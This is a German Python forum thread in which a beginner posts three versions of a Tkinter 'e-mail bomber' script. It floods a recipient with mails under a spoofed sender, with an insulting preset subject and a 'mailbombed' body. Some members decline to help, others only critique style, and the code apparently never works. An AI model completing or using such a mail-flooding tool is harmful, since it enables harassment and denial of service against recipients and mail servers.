Seite 1 von 2
E-Mail Bomber mit Python
Verfasst: Samstag 6. März 2010, 19:44
von andy885
Hallo
Ich versuche aus Test Zwecken einen E-Mail Bomber zu schreiben.
Doch er funktioniert nicht. Er versendet einfach keine Mails.
Könnt ihr mir helfen?
Danke schon mal.
Mfg Andi
Code: Alles auswählen
from Tkinter import *
import smtplib
import time
from tkMessageBox import *
root=Tk()
root.title("E-mail Bomber by Andi")
root.config(bg="black")
gesendet=0
def bomb():
anzahl=e6.get()
for i in range(0, int(anzahl), 1):
mailserver=e4.get()
e2get=e2.get()
e1get=e1.get()
e3get=e3.get()
e5get=e5.get(END)
absender=(e2get)
adressat=(e1get)
betreff=(e3get)
inhalt=(e5get)
text=inhalt
fehler=1
while(fehler==1):
try:
server=smtplib.SMTP(mailserver)
fehler=0
except:
showinfo(title="Fehler!", message="Es konnte keine Verbindung zum Mailserver hergestellt werden!")
break
zeit=time.ctime(time.time())
text='From:'+absender+'\n'
text +='To:'+adressat+'\n'
text +='Date:'+zeit+'\n'
text +='Subject:'+betreff+'\n'
server.set_debuglevel(1)
server.sendmail(absender, adressat, text)
gesendet=gesendet+1
server.quit()
if(anzahl>0):
showinfo(title="Fertig!", message="Die Mails wurden gesendet!")
l1=Label(root, text="Empfaenger:", bg="black", fg="red")
l1.grid(row=0)
l2=Label(root, text="Absender:", bg="black", fg="red")
l2.grid(row=1)
l3=Label(root, text="Betreff:", bg="black", fg="red")
l3.grid(row=2)
l4=Label(root, text="Mailserver:", bg="black", fg="red")
l4.grid(row=3)
l5=Label(root, text="Text:", bg="black", fg="red")
l5.grid(row=4)
l6=Label(root, text="Anzahl", bg="black", fg="red")
l6.grid(row=5)
l7=Label(root, text="Gesendet", bg="black", fg="red")
l7.grid(row=6)
e1=Entry(root, relief="ridge", bg="black", fg="red")
e1.grid(row=0, column=1, ipadx=20, padx=4, pady=2)
e1.insert(0, "Lotsen@aol.com")
e2=Entry(root, relief="ridge", bg="black", fg="red")
e2.grid(row=1, column=1, ipadx=20, padx=4, pady=2)
e2.insert(0, "BillG@microsoft.com")
e3=Entry(root, relief="ridge", bg="black", fg="red")
e3.grid(row=2, column=1, ipadx=20, padx=4, pady=2)
e3.insert(0, "Fuck you!!!")
e4=Entry(root, relief="ridge", bg="black", fg="red")
e4.grid(row=3, column=1, ipadx=20, pady=1)
e4.insert(0, "mail.uniserve.com")
e5=Text(root, relief="ridge", bg="black", fg="red", height=5, width=20)
e5.grid(row=4, column=1, padx=4, pady=2)
e5.insert(END, "You have been Mailbombed! Hahaha")
e6=Entry(root, relief="ridge", bg="black", fg="red")
e6.grid(row=5, column=1, ipadx=20, pady=1)
e6.insert(END, "1")
e7=Entry(root, relief="ridge", bg="black", fg="red")
e7.grid(row=6, column=1, ipadx=20, pady=1)
e7.insert(0, gesendet)
b1=Button(root, text="Bomben", command=bomb, bg="black", fg="red")
b1.grid(row=6, padx=4, pady=2)
root.mainloop()
Verfasst: Samstag 6. März 2010, 22:27
von problembär
Dies ist die Tkinter-Rubrik, wo ist also Deine GUI-Frage?
Eigentlich möchte ich auch nicht bei sowas helfen, am Ende benutzt Du das noch.
Verfasst: Sonntag 7. März 2010, 00:19
von EyDu
Hallo und willkommen im Forum!
Also erstmal solltest du deinen Code ein wenig aufräumen:
- Das Python-Tutorial und PEP8 durchlesen
- Weg mit den *-Importen
- Keine Durchnummerierung von Namen. Wenn du das tust, dann willst du Listen/Tupel und Schleifen
- Die Klammern bei den if- und while-Statements entfernen
- Vernünftig mit Exceptions umgehen
- True und False benutzen
- Python-Code-Tags hier im Forum benutzen
Sebastian
Verfasst: Sonntag 7. März 2010, 01:53
von problembär
@EyDu: Findest Du so einen Email-Bomber ok (sei es nun zu Testzwecken oder nicht)?
Verfasst: Sonntag 7. März 2010, 02:20
von EyDu
Ich habe keine Probleme damit.
Verfasst: Sonntag 7. März 2010, 10:20
von andy885
Danke EyDu
Ich habe ja gar nicht gewusst was ich alles Falsch mache.
Ich habe meinen code jetzt geändert wie du gesagt hast.
Nur weiß ich nicht was an den Exceptions nicht passt und wo ich True or False benutzen sollte.
Der veränderte code:
Code: Alles auswählen
import Tkinter
import smtplib
import time
import tkMessageBox
root=Tkinter.Tk()
root.title("E-mail Bomber by Andi")
root.config(bg = "black")
gesendet = 0
def bomb():
anzahl = eanzahl.get()
for i in range(0, int(anzahl), 1):
mailserver = emailserver.get()
absender = eabsender.get()
empfaenger = eempfaenger.get()
betreff = ebetreff.get()
text = etext.get(0.0)
fehler = 1
while fehler == 1:
try:
server = smtplib.SMTP(mailserver)
fehler = 0
except:
tkMessageBox.showinfo(title = "Fehler!",
message = """Es konnte keine Verbindung zum
Mailserver hergestellt werden!""")
break
fehler = 1
while fehler == 1:
try:
zeit = time.ctime(time.time())
text = 'From:' + absender + '\n'
text += 'To:'+empfaenger + '\n'
text += 'Date:' + zeit + '\n'
text += 'Subject:' + betreff + '\n'
server.set_debuglevel(1)
server.sendmail(absender, adressat, text)
gesendet = gesendet + 1
server.quit()
if gesendet == anzahl:
tkMessageBox.showinfo(title = "Fertig!",
message = "Die Mails wurden gesendet!")
fehler = 0
except:
tkMessageBox.showinfo(title = "Fehler!",
message = """Beim senden ist ein Fehler
aufgetreten!""")
break
break
break
lempfaenger = Tkinter.Label(root, text = "Empfaenger:", bg = "black",
fg = "red")
lempfaenger.grid(row = 0)
labsender = Tkinter.Label(root, text = "Absender:", bg = "black", fg = "red")
labsender.grid(row=1)
lbetreff = Tkinter.Label(root, text = "Betreff:", bg = "black", fg = "red")
lbetreff.grid(row = 2)
lmailserver = Tkinter.Label(root, text = "Mailserver:", bg = "black",
fg = "red")
lmailserver.grid(row = 3)
ltext = Tkinter.Label(root, text = "Text:", bg = "black", fg = "red")
ltext.grid(row = 4)
lanzahl = Tkinter.Label(root, text = "Anzahl", bg = "black", fg = "red")
lanzahl.grid(row=5)
lgesendet = Tkinter.Label(root, text = "Gesendet", bg = "black", fg = "red")
lgesendet.grid(row = 6)
eempfaenger = Tkinter.Entry(root, relief = "ridge", bg = "black", fg = "red")
eempfaenger.grid(row = 0, column = 1, ipadx = 20, padx = 4, pady = 2)
eempfaenger.insert(0, "Lotsen@aol.com")
eabsender = Tkinter.Entry(root, relief="ridge", bg="black", fg="red")
eabsender.grid(row = 1, column = 1, ipadx = 20, padx = 4, pady = 2)
eabsender.insert(0, "BillG@microsoft.com")
ebetreff = Tkinter.Entry(root, relief = "ridge", bg = "black", fg = "red")
ebetreff.grid(row = 2, column = 1, ipadx = 20, padx = 4, pady = 2)
ebetreff.insert(0, "Fuck you!!!")
emailserver = Tkinter.Entry(root, relief = "ridge", bg = "black", fg = "red")
emailserver.grid(row = 3, column = 1, ipadx = 20, pady = 1)
emailserver.insert(0, "mail.uniserve.com")
etext = Tkinter.Text(root, relief = "ridge", bg = "black", fg = "red",
height = 5, width = 20)
etext.grid(row = 4, column = 1, padx = 4, pady = 2)
etext.insert(0.0, "You have been Mailbombed! Hahaha")
eanzahl = Tkinter.Entry(root, relief = "ridge", bg = "black", fg = "red")
eanzahl.grid(row = 5, column = 1, ipadx = 20, pady = 1)
eanzahl.insert(0, "1")
egesendet = Tkinter.Entry(root, relief = "ridge", bg = "black", fg = "red")
egesendet.grid(row = 6, column = 1, ipadx = 20, pady = 1)
egesendet.insert(0, gesendet)
bomben = Tkinter.Button(root, text = "Bomben", command = bomb, bg = "black",
fg = "red")
bomben.grid(row = 6, padx = 4, pady = 2)
root.mainloop()
Verfasst: Sonntag 7. März 2010, 11:34
von Leonidas
Du nutzt immer noch keine Python-Tags, fängst Exceptions ohne konkrete Ausnahme ab, hast Code auf Modulebene und nutzt zudem ungarische Notation die sinnlos ist.
Verfasst: Sonntag 7. März 2010, 14:27
von andy885
Ich habe jetzt einiges geändert nur funktioniert jetzt get() nicht mehr.
Um die Exceptions kümmere ich mich später darum habe ich sie entfernt.
Code: Alles auswählen
import Tkinter
import smtplib
import time
import tkMessageBox
def bomb():
gesendetemails = 0
anzahlmails = anzahl.get()
sender = absender.get()
empfang = empfaenger.get()
for i in range(0, int(anzahlmails), 1):
server = smtplib.SMTP(mailserver.get())
server.ehlo()
zeit = time.ctime(time.time())
text = 'From:' + sender + '\n'
text += 'To:'+ empfang + '\n'
text += 'Date:' + zeit + '\n'
text += 'Subject:' + betreff.get() + '\n'
text += 'Text: ' + textfeld.get(0.0)
server.set_debuglevel(1)
server.sendmail(sender, empfang, text)
gesendetemails = gesendetemails + 1
server.quit()
if gesendet == anzahl:
tkMessageBox.showinfo(title = "Fertig!",
message = "Die Mails wurden gesendet!")
def main():
root = Tkinter.Tk()
root.title("E-mail Bomber by Andi")
root.config(bg = "black")
empfaengerLabel = Tkinter.Label(root, text = "Empfaenger:", bg = "black", fg = "red")
empfaengerLabel.grid(row = 0)
absenderLabel = Tkinter.Label(root, text = "Absender:", bg = "black", fg = "red")
absenderLabel.grid(row=1)
betreffLabel = Tkinter.Label(root, text = "Betreff:", bg = "black", fg = "red")
betreffLabel.grid(row = 2)
mailserverLabel = Tkinter.Label(root, text = "Mailserver:", bg = "black", fg = "red")
mailserverLabel.grid(row = 3)
textLabel = Tkinter.Label(root, text = "Text:", bg = "black", fg = "red")
textLabel.grid(row = 4)
anzahlLabel = Tkinter.Label(root, text = "Anzahl", bg = "black", fg = "red")
anzahlLabel.grid(row=5)
gesendetLabel = Tkinter.Label(root, text = "Gesendet", bg = "black", fg = "red")
gesendetLabel.grid(row = 6)
empfaenger = Tkinter.Entry(root, relief = "ridge", bg = "black", fg = "red")
empfaenger.grid(row = 0, column = 1, ipadx = 20, padx = 4, pady = 2)
empfaenger.insert(0, "Lotsen@aol.com")
absender = Tkinter.Entry(root, relief="ridge", bg="black", fg="red")
absender.grid(row = 1, column = 1, ipadx = 20, padx = 4, pady = 2)
absender.insert(0, "BillG@microsoft.com")
betreff = Tkinter.Entry(root, relief = "ridge", bg = "black", fg = "red")
betreff.grid(row = 2, column = 1, ipadx = 20, padx = 4, pady = 2)
betreff.insert(0, "Fuck you!!!")
mailserver = Tkinter.Entry(root, relief = "ridge", bg = "black", fg = "red")
mailserver.grid(row = 3, column = 1, ipadx = 20, pady = 1)
mailserver.insert(0, "mail.uniserve.com")
textfeld = Tkinter.Text(root, relief = "ridge", bg = "black", fg = "red", height = 5, width = 20)
textfeld.grid(row = 4, column = 1, padx = 4, pady = 2)
textfeld.insert(0.0, "You have been Mailbombed! Hahaha")
anzahl = Tkinter.Entry(root, relief = "ridge", bg = "black", fg = "red")
anzahl.grid(row = 5, column = 1, ipadx = 20, pady = 1)
anzahl.insert(0, "1")
gesendet = Tkinter.Entry(root, relief = "ridge", bg = "black", fg = "red")
gesendet.grid(row = 6, column = 1, ipadx = 20, pady = 1)
gesendet.insert(0, "0")
bomben = Tkinter.Button(root, text = "Bomben", command = bomb, bg = "black", fg = "red")
bomben.grid(row = 7, padx = 4, pady = 2)
if __name__ == "__main__":
main()
Verfasst: Sonntag 7. März 2010, 14:29
von Defnull
Du solltest das Programm vielleicht erst einmal ohne GUI zum laufen bringen und dann erst die GUI drum rum bauen.
Verfasst: Sonntag 7. März 2010, 14:44
von andy885
Ja danke ich werde es wohl so machen müssen
Verfasst: Sonntag 7. März 2010, 19:24
von problembär
Es wäre kein Problem, das Programm zum Laufen zu bringen, ich helf' Dir dabei aber nicht.
Kannst Du nicht was freundlicheres, konstruktiveres schreiben?
Verfasst: Sonntag 7. März 2010, 20:19
von andy885
Das ist ja nur zur Übung, du hast ja meinen Code am Anfang gesehen.
Außerdem habe ich keinen Plan was ich sonst schreiben könnte.
Hast du vielleicht eine Idee was ich schreiben könnte ich bin ja noch Anfänger.
Mfg Andi
Verfasst: Sonntag 7. März 2010, 22:00
von DeKugelschieber
Es reicht ja wohl wenn du erstmal eine E-Mail verschickst, z.b. für eine registration. und das dann am besten in eine klasse dann kannst du das auch immer wiederverwenden
Verfasst: Sonntag 7. März 2010, 22:31
von andy885
Auch wenn es euch nicht gefällt ich versuche es so lange bis es funktioniert.
Mit SMTP hat es nicht funktioniert da vom server immer ein fehler kam.
Darum versuche ich es jetzt mit IMAP und ich bin schon fast fertig
Verfasst: Sonntag 7. März 2010, 22:54
von Leonidas
Also mit IMAP wirst du ziemlich sicher keine Mails schicken können...
Verfasst: Sonntag 7. März 2010, 23:03
von numerix
andy885 hat geschrieben:Außerdem habe ich keinen Plan was ich sonst schreiben könnte.
Hast du vielleicht eine Idee was ich schreiben könnte ich bin ja noch Anfänger.
http://www.python-forum.de/topic-22020.html
Verfasst: Montag 8. März 2010, 14:44
von andy885
Aber für was ist dann IMAP4.send() ?
Verfasst: Montag 8. März 2010, 15:20
von Leonidas
andy885 hat geschrieben:Aber für was ist dann IMAP4.send() ?
So wie ich die Dokumentation verstehe ist das um Mails auf den IMAP-Server zu schicken. Der verstaut dann die Mails in der Mailbox des angemeldeten Users. So gesehen kannst du damit dir selbst Mails "senden". Habe Zweifel daran, dass es das ist was du machen willst.
Verfasst: Montag 8. März 2010, 15:58
von problembär
Leonidas hat geschrieben:So gesehen kannst du damit dir selbst Mails "senden". Habe Zweifel daran, dass es das ist was du machen willst.
Graf Zahl hat sich manchmal selbst Briefe geschrieben, um sie dann zu zählen

.
Verfasst: Montag 8. März 2010, 18:30
von andy885
Danke für die antwort
Das habe ich nicht gewusst
Es wird wohl nichts mit dem Bomber
Danke an alle für ihre Antworten.
Mfg Andi